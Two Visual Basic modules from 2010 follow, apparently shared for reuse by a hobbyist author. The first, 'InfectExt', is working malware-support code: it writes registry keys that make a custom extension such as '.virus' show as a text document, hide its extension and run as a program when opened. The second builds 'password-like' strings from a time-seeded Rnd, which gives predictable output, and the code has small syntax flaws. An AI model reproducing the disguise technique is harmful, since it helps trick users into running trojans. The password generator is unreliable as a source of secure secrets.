HKEY_CLASSES_ROOT\.troj\"trojfile"
HKEY_CLASSES_ROOT\trojfile\"Documento de texto"
HKEY_CLASSES_ROOT\trojfile\"NeverShowExt"=""
HKEY_CLASSES_ROOT\trojfile\Shell\Open\Command\""%1" %*" 

Option Explicit
' /-----------------------------------------------------------------------------------\
'|=====================================================================================|
'|=/---------------------------------------------------------------------------------\=|
'|=| Module      : mInfectExt                                                        |=|
'|=| DateTime    : 24/07/2010 05:14 PM                                               |=|
'|=| Author      : Elemental Code                                                    |=|
'|=| Mail        : Elemental_Code[at]hotmail[dot]com                                 |=|
'|=| WebPage     : I haven't got one Yet ^.^                                         |=|
'|=| Purpose     : EDUCATIONAL ONLY code that creates a new extensión in Windows Reg |=|
'|=| Requirements: UAC may Stop you, i dont know >.<                                 |=|
'|=| Distribution: You can freely use this code in your own                          |=|
'|=|               applications, but you may not reproduce                           |=|
'|=|               or publish this code on any web site,                             |=|
'|=|               online service, or distribute as source                           |=|
'|=|               on any media without express permission.                          |=|
'|=\---------------------------------------------------------------------------------/=|
'|=====================================================================================|
' \-----------------------------------------------------------------------------------/
Public Function InfectExt(Ext As String, Info As String, Ocult as Boolean)
    Dim WS As Object
    Dim FullExt As String
    Dim UniqVal As String
    UniqVal = Ext & "File"
    FullExt = "." & Ext
 
    Set WS = CreateObject("WScript.Shell")
    WS.RegWrite "HKCR\" & FullExt & "\", UniqVal
    WS.RegWrite "HKCR\" & UniqVal & "\", Info
    If Ocult = True Then
        WS.RegWrite "HKCR\" & UniqVal & "\NeverShowExt", ""
    EndIf
    WS.RegWrite "HKCR\" & UniqVal & "\Shell\Open\Command\", Chr(34) & "%1" & Chr(34) & " %*"
End Function
 

InfectExt "virus", "Archivo de Texto", True

'/-------------------------------------------------------------------------------------\
'|=====================================================================================|
'|=/---------------------------------------------------------------------------------\=|
'|=| Module      : mRndString                                                        |=|
'|=| DateTime    : 17/07/2010 07:42 PM                                               |=|
'|=| Author      : Elemental Code                                                    |=|
'|=| Mail        : Elemental_Code[at]hotmail[dot]com                                 |=|
'|=| WebPage     : I haven't got one Yet ^.^                                         |=|
'|=| Purpose     : Generates Randoms Strings (like a Password)                       |=|
'|=| Requirements: Two hands (I havent tried with one, it migth work, I don't know)  |=|
'|=| Distribution: You can freely use this code in your own                          |=|
'|=|               applications, but you may not reproduce                           |=|
'|=|               or publish this code on any web site,                             |=|
'|=|               online service, or distribute as source                           |=|
'|=|               on any media without express permission.                          |=|
'|=\---------------------------------------------------------------------------------/=|
'|=====================================================================================|
'\-------------------------------------------------------------------------------------/
Option Explicit
Public Function Random_String(StringLength As Long) As String
    Dim FinalString As String
    Dim MaxAscii As Integer
    Dim MinAscii As Integer
    Dim CurLength As Long
 
    'ENG: 48 to 126 All characters | 65 to 126 just letters |48 to 57 Numbers Only | for more info get an ascii table. >.<
    'ESP: 48 al 126 Todos los caracteres | 65 al 126 solo letras | 48 al 57 Solo Numeros | Para mas info buscate una table ascii >.<
    MaxAscii = 126
    MinAscii = 48
 
    'ENG: to make it as random as I can the number changes each milisecond.
    'ESP: para hacerlo lo mas aleatorio posible el numero cambia cada milisegundo.
    Randomize Timer / Val(Time)
 
 
    For CurLength = 1 To StringLength
        FinalString = FinalString & Chr(Int((MaxAscii - MinAscii + 1) * Rnd + MinAscii))
    Next CurLength
 
    Random_String = StrReverse(FinalString)
End Function
 

Text1.Text = Random_String(Text2.Text)